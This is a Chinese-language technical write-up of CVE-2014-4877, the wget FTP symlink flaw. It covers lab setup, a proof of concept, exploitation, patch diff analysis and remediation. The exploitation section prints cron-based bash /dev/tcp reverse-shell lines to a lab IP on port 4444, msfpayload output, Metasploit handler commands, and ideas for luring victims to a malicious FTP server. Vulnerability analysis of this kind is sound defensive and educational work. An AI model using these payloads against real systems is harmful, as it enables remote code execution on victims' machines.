首页 > 代码库 > CVE-2014-4877 && wget: FTP Symlink Arbitrary Filesystem Access

CVE-2014-4877 && wget: FTP Symlink Arbitrary Filesystem Access

目录

1. 漏洞基本描述2. 漏洞带来的影响3. 漏洞攻击场景重现4. 漏洞的利用场景5. 漏洞原理分析6. 漏洞修复方案7. 攻防思考

 

1. 漏洞基本描述

0x1: Wget简介

wget是一个从网络上自动下载文件的自由工具,支持通过HTTP、HTTPS、FTP三个最常见的TCP/IP协议下载,并可以使用HTTP代理。wget名称的由来是"World Wide Web"与"get"的结合

"递归下载"是wget提供的一个特性,我们平时使用浏览器进行网页浏览的时候,浏览器就是在进行递归下载,将我们输入的一个URL链接,已经它其中附带的CSS、IMG、HTML HREF等链接也一并下载下来并进行渲染

http://www.gnu.org/software/wget/manual/wget.html#Recursive-Download

0x2: 漏洞描述

Absolute path traversal vulnerability in GNU Wget before 1.16, when recursion is enabled, allows remote FTP servers to write to arbitrary files, and consequently execute arbitrary code, via a LIST response that references the same filename within two entries, one of which indicates that the filename is for a symlink.

严格上来说,这是GNU Wget的代码上和符号链接处理相关代码的的一个bug

A flaw was found in the way Wget handled symbolic links. A malicious FTPserver could allow Wget running in the mirror mode (using the -m commandline option) to write an arbitrary file to a location writable to by theuser running Wget, possibly leading to code execution. (CVE-2014-4877)

攻击者通过操纵ftp服务器可以在wget用户端环境创建任意的文件、目录以及链接。通过符号链接攻击,攻击者以wget的运行权限访问客户端整个文件系统,覆盖文件内容(包括二进制文件)。这个漏洞还能通过系统的cron设置或用户级别的(bash profile, SSH authorized_keys)设置触发远程代码执行

0x3: 漏洞原理

wget < 1.16,retr-symlinks 缺省设置为off/no,当客户端wget在递归下载ftp服务器上的目录时,如果存在符号链接文件,该链接文件不会被下载,而是在客户端本地创建一个指向同样位置的符号链接。同时链接指向的文件不会下载,除非该文件位于递归下载的遍历目录下

Relevant Link:

https://access.redhat.com/security/cve/CVE-2014-4877http://thehackernews.com/2014/10/cve-2014-4877-wget-ftp-symlink-attack.htmlhttps://bugzilla.redhat.com/show_bug.cgi?id=1139181https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-4877https://rhn.redhat.com/errata/RHSA-2014-1764.html

 

2. 漏洞带来的影响

0x1: 黑客的攻击向量

1. Access Vector: Network exploitable2. Access Complexity: Medium3. Authentication: Not required to exploit4. Impact Type:     1) Allows unauthorized disclosure of information    2) Allows unauthorized modification    3) Allows disruption of service

0x2: 漏洞影响的软件/代码库版本范围

1. gnu:wget:1.132. gnu:wget:1.13.43. gnu:wget:1.13.34. gnu:wget:1.13.25. gnu:wget:1.13.16. gnu:wget:1.127. gnu:wget:1.148. gnu:wget:1.15 and previous versions

Relevant Link:

https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-4877

 

3. 漏洞攻击场景重现

0x1: vsftpd环境搭建

1. 安装vsftpdyum install vsftpd2. 配置防火墙: 将FTP所使用端口开放出去vim /etc/sysconfig/iptables在REJECT行之前添加如下代码-A RH-Firewall-1-INPUT -m state --state NEW -m tcp -p tcp --dport 21 -j ACCEPTservice iptables restart3. 下面是添加ftpuser用户,设置根目录为/home/wwwroot/ftpuser,禁止此用户登录SSH的权限,并限制其访问其它目录vim /etc/vsftpd/vsftpd.confchroot_list_enable=YES# (default follows)chroot_list_file=/etc/vsftpd/chroot_listuseradd -d /home/wwwroot/ftpuser -g ftp -s /sbin/nologin ftpuserpasswd ftpuser 111vim /etc/vsftpd/chroot_listadmintest4. 配置PASV模式vsftpd默认没有开启PASV模式,现在FTP只能通过PORT模式连接,要开启PASV默认需要通过下面的配置vim /etc/vsftpd/vsftpd.conf在末尾添加pasv_enable=YES pasv_min_port=40000 pasv_max_port=40080   pasv_promiscuous=YES5. 设置Selinuxsetsebool -P ftp_home_dir=1 setsebool -P allow_ftpd_full_access=1   6. 重新启动vsftpdservice vsftpd restart

或者直接使用vsftpd官方提供的SHELL脚本进行自动化部署

1. Installationyum -y install vsftpd db4-utils2. Configurationhttp://wiki.centos.org/HowTos/Chroot_Vsftpd_with_non-system_users?action=AttachFile&do=get&target=vsftpd_virtual_config.sh根据提示添加用户名、密码admin111http://wiki.centos.org/HowTos/Chroot_Vsftpd_with_non-system_users?action=AttachFile&do=get&target=vsftpd_virtualuser_add.sh3. 配置指定目录的权限cd /var/ftp/virtual_userschmod 755 admin

Relevant Link:

http://wiki.centos.org/HowTos/Chroot_Vsftpd_with_non-system_usershttps://www.centos.bz/2011/03/centos-install-vsftpd-ftp-server/http://www.cnblogs.com/xiongpq/p/3384759.html

在实验重现这个CVE漏洞之前,我们需要对这个漏洞的攻击场景做一个梳理

1. FTP服务器端要做的事情只要是构造一个符号链接(软链接)(server)2. 使用存在漏洞的wget的客户端向服务端请求以的递归模式下载这个符号链接文件(client)3. 最终受到攻击的是client

0x2: 软链接(符号链接)下载漏洞POC

服务端构造软链接

cd /var/ftp/publn -s /etc/passwd stealll

在另一台linux机器上继续实验,查看客户端wget版本,确认存在本次wget漏洞

客户端以递归模式向服务端发起对这个符号链接文件的下载请求

wget ftp://192.168.207.128/pub/steal -r

查看刚才下载的文件

cd 192.168.207.128/pub/llcat steal

可以看到,下载的软链接指向了本地的/etc/passwd,不是服务端的/etc/passwd

正常的逻辑来说,客户端下载服务端的一个指向/etc/passwd的软链接,最后下载的也应该是服务端的/etc/passwd,但是因为wget的这个bug,导致客户端并没有下载服务端软链接指向的文件,而是在本地建立了一个相同的软链接,指向了本地的相应文件。也就是说这次攻击的payload是服务端的那个软链接,从某种程序上来说,服务端通过payload,"强制"使客户端"创建"了任意文件(通过软链接的任意指向)

0x3: 利用wget漏洞进行RCE(Remote Code Execute 远程代码执行)

0x2 POC展示了wget存在的这个code bug,而如何将这个bug转化为一次攻击,我们需要更多的步骤

在服务端构造一个指向任意位置的软链接

cd /var/ftp/publn -s /etc/cron.d/ stealll

在软链接指向的目录下放置执行反连shell的定时任务cronshell

cd /etc/cron.d/cat>cronshell <<EODPATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin* * * * * root bash -c 0<&112-;exec 112<>/dev/tcp/192.168.0.4/4444;sh <&112 >&112 2>&112; rm -f /etc/cron.d/cronshellEOD

为了达到RCE的目的,需要在软链接同一个目录下,构造一个和软链接文件同名的目录项,并在该目录下放置cronshell

需要明白的是,这件事从文件磁盘的角度来看,在Linux下是做不到的,因为Linux下所有的目录、设备、文件都被抽象成了文件,因此不允许在同一个节点下有2个同名的文件,但这里我们要实现的只是"欺骗"wget client在执行"list -a"指令的时候,返回一个"一个和链接文件同名的目录项"这样一个假象

# cat .listingtotal 155lrwxrwxrwx   1 root     root           33 Feb  7  2013 steal -> /etc/cron.ddrwxrwxr-x  15 root     root         4096 Feb  7  2013 steal

服务端需要在指定的端口进行监听,等到客户端肉鸡的连接

nc -n -vv -l -p 4444

至此,覆盖修改客户端的目的已达到,以下是进一步在客户端触发远程代码执行,如反向shell连接

客户端执行一个很正常的ftp wget下载动作,但是却被动的向黑客所在服务器发起了reverse shell connect

wget –m ftp://192.168.207.128:21/pub 

这里没有截图的原因也是因为这是一种概念演示,其中的关键一步:向客户端的"list -a"命令返回一个特定构造的数据包需要特定构造的FTP Server才能实现,接下来我们用metersploit msf来真正的模拟这种攻击

0x4: 利用wget漏洞进行RCE Based On MSF

1. 生成反连shell的payload代码msfpayload cmd/unix/reverse_bash LHOST=192.168.207.128 LPORT=4444 R0<&108-;exec 108<>/dev/tcp/192.168.207.128/4444;sh <&108 >&108 2>&1082. 写入cronshellcat > cronshell << EOD> PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin> * * * * * root bash -c 0<&108-;exec 108<>/dev/tcp/192.168.92.138/4444;sh <&108 >&108 2>&108; rm -f /etc/cron.d/cronshell> EOD3. 启动MSFmsf > use exploit/multi/handlermsf exploit(handler) > set PAYLOAD cmd/unix/reverse_bashPAYLOAD => cmd/unix/reverse_bashmsf exploit(handler) > set LHOST 192.168.207.128LHOST => 192.168.207.128msf exploit(handler) > set LPORT 4444LPORT => 4444msf exploit(handler) > run -j4. 等待客户端的wget请求wget –m ftp://192.168.207.128:21 //随后,客户端执行的反连请求 5. SHELL建立后,服务端通过网络,发送任意命令到客户端执行 

客户端仅仅执行了一个下载文件wget操作,却被强制进行了RCE,导致被GETSHELL

Relevant Link:

https://community.rapid7.com/community/metasploit/blog/2014/10/28/r7-2014-15-gnu-wget-ftp-symlink-arbitrary-filesystem-accesshttp://www.oschina.net/news/56518/wget-cve-2014-4877http://bobao.360.cn/learning/detail/66.html

 

4. 漏洞的利用场景

每种漏洞都有其对应的攻击场景,对于CVE-2014-4877来说,攻击场景由server、client共同组成

1. server FTP    1) 黑客可以在自己的服务器上假设ftp,然后通过APT方式引诱受害者访问指定的ftp wget download url    2) 黑客可以通过直接攻击一些流量较大的ftp下载站,替换掉原来正常提供下载的某些程序,从而让受害者在不知不觉中被GETSHELL2. client wget对于客户端的要求就是wget要存在这个CVE漏洞

 

5. 漏洞原理分析

下载wget-1.12源代码进行分析

http://git.savannah.gnu.org/cgit/wget.git/snapshot/wget-1.16.tar.gz

通过patch diff,我们可以发现patch代码的主要patch point为

1. \wget-1.12\doc\ChangeLog

2014-09-08  Darshit Shah  <darnir@gmail.com>    * wget.texi (symbolic links): Update documentation of retr-symlinks to    reflect the new default. Add warning about potential security issues with    --retr-symlinks=yes.

2. \wget-1.12\doc\wget.texi

By default, when retrieving @sc{ftp} directories recursively and a symbolic linkis encountered, the symbolic link is traversed and the pointed-to files areretrieved.  Currently, Wget does not traverse symbolic links to directories todownload them recursively, though this feature may be added in the future.When @samp{--retr-symlinks=no} is specified, the linked-to file is notdownloaded.  Instead, a matching symbolic link is created on the localfilesystem.  The pointed-to file will not be retrieved unless this recursiveretrieval would have encountered it separately and downloaded it anyway.  Thisoption poses a security risk where a malicious FTP Server may cause Wget towrite to files outside of the intended directories through a specially crafted@sc{.listing} file.

3. \wget-1.12\src\ChangeLog

2014-09-08  Darshit Shah  <darnir@gmail.com>    * init.c (defaults): Set retr-symlinks to true by default. This changes a    default setting of wget. Fixes security bug CVE-2014-4877

4. \wget-1.12\src\init.c

/* 2014-09-07  Darshit Shah  <darnir@gmail.com>   * opt.retr_symlinks is set to true by default. Creating symbolic links on the   * local filesystem pose a security threat by malicious FTP Servers that   * server a specially crafted .listing file akin to this:   *   * lrwxrwxrwx   1 root     root           33 Dec 25  2012 JoCxl6d8rFU -> /   * drwxrwxr-x  15 1024     106          4096 Aug 28 02:02 JoCxl6d8rFU   *   * A .listing file in this fashion makes Wget susceptiple to a symlink attack   * wherein the attacker is able to create arbitrary files, directories and   * symbolic links on the target system and even set permissions.   *   * Hence, by default Wget attempts to retrieve the pointed-to files and does   * not create the symbolic links locally.   */  opt.retr_symlinks = true;

5. \wget-1.12\src\ChangeLog

2014-09-08  Darshit Shah  <darnir@gmail.com>    * ftp.c (ftp_retrieve_glob): Also check for invalid entries along with    harmful filenames    (is_valid_entry): New function. Check if the provided node is a valid entry    in a listing file.

6. \wget-1.12\src\ftp.c

增加一个is_invalid_entry()函数

/* Test if the file node is invalid. This can occur due to malformed or * maliciously crafted listing files being returned by the server. * * Currently, this function only tests if there are multiple entries in the * listing file by the same name. However this function can be expanded as more * such illegal listing formats are discovered. */static boolis_invalid_entry (struct fileinfo *f){  struct fileinfo *cur;  cur = f;  char *f_name = f->name;  /* If the node we‘re currently checking has a duplicate later, we eliminate   * the current node and leave the next one intact. */  while (cur->next)    {      cur = cur->next;      if (strcmp(f_name, cur->name) == 0)          return true;    }  return false;}

在对ftp server返回的.listing进行处理的时候,使用is_invalid_entry()进行检查

/* A near-top-level function to retrieve the files in a directory.   The function calls ftp_get_listing, to get a linked list of files.   Then it weeds out the file names that do not match the pattern.   ftp_retrieve_list is called with this updated list as an argument.   If the argument ACTION is GLOB_GETONE, just download the file (but   first get the listing, so that the time-stamp is heeded); if it‘s   GLOB_GLOBALL, use globbing; if it‘s GLOB_GETALL, download the whole   directory.  */static uerr_tftp_retrieve_glob (struct url *u, ccon *con, int action){  struct fileinfo *f, *start;  uerr_t res;  con->cmd |= LEAVE_PENDING;  res = ftp_get_listing (u, con, &start);  if (res != RETROK)    return res;  /* First: weed out that do not conform the global rules given in     opt.accepts and opt.rejects.  */  if (opt.accepts || opt.rejects)    {      f = start;      while (f)        {          if (f->type != FT_DIRECTORY && !acceptable (f->name))            {              logprintf (LOG_VERBOSE, _("Rejecting %s.\n"),                         quote (f->name));              f = delelement (f, &start);            }          else            f = f->next;        }    }  /* Remove all files with possible harmful names or invalid entries. */  f = start;  while (f)    {    /*    这里增加了is_invalid_entry()对ftp server返回的.listing进行了强制检查    */      if (has_insecure_name_p (f->name) || is_invalid_entry (f))        {          logprintf (LOG_VERBOSE, _("Rejecting %s.\n"),                     quote (f->name));          f = delelement (f, &start);        }    ......

对patch代码的原理进行一个总结

1. wget的这个symbolic recursively file download是wget的一个功能的开关,是一个程序设计上的逻辑问题2. 在老的存在漏洞的wget上,默认"--retr-symlinks=no",即当wget客户端需要递归下载一个符号链接文件的时候,wget客户端并不会去真正下载这个符号链接对应的文件,而是在本地创建一个同名的、指向相同节点的符号链接3. 而patch code、修复后的新版本所做的事情,就是将"--retr-symlinks=yes"设为默认值,即当wget客户端需要递归下载一个符号链接文件的时候,wget会去下载这个符号链接所指向的真正的文件,而不是在本地创建符号链接4. 增加了is_invalid_entry()对ftp server返回的.listing进行了强制检查,防止出现重名的文件的现象

官方的git commit
http://git.savannah.gnu.org/cgit/wget.git/commit/?id=18b0979357ed7dc4e11d4f2b1d7e0f5932d82aa7
CVE-2014-4877: Arbitrary Symlink Access

Wget was susceptible to a symlink attack which could create arbitraryfiles, directories or symbolic links and set their permissions whenretrieving a directory recursively through FTP. This commit changes thedefault settings in Wget such that Wget no longer creates local symboliclinks, but rather traverses them and retrieves the pointed-to file insuch a retrieval.

http://git.savannah.gnu.org/cgit/wget.git/commit/?id=69c45cba4382fcaabe3d86876bd5463dc34f442c
Add checks for valid listing file in FTP

When Wget retrieves a file through FTP, it first downloads a .listingfile and parses it for information about the files and other metadata.Some servers may serve invalid .listing files. This patch checks for onesuch known inconsistency wherein multiple lines in a listing file havethe same name. Such a filesystem is clearly not possible and hence weeliminate duplicate entries here.

Relevant Link:

http://git.savannah.gnu.org/cgit/wget.git/commit/?id=18b0979357ed7dc4e11d4f2b1d7e0f5932d82aa7http://git.savannah.gnu.org/cgit/wget.git/commit/?id=69c45cba4382fcaabe3d86876bd5463dc34f442chttp://git.savannah.gnu.org/cgit/wget.git/http://lists.gnu.org/archive/html/bug-wget/2014-10/msg00150.htmlhttps://bugzilla.redhat.com/show_bug.cgi?id=1139181https://bugzilla.redhat.com/attachment.cgi?id=935576

 

6. 漏洞修复方案

wget的这个CVE的修复是一种配置项的修改,所以我们可以使用以下2种方法达到patch的目的

0x1: 配置加固

在wget客户端进行配置加固

vim /etc/wgetrc or vim ~/.wgetrc//在最后增加一行retr-symlinks=on 

在wget客户端进行程序升级

0x2: 更新程序

升级至1.16 ftp://ftp.gnu.org/gnu/wget/wget-1.16.tar.gz 

 

7. 攻防思考

Linux上的基础软件、代码库需要进行一次代码安全检测

 

Copyright (c) 2014 LittleHann All rights reserved

 

CVE-2014-4877 && wget: FTP Symlink Arbitrary Filesystem Access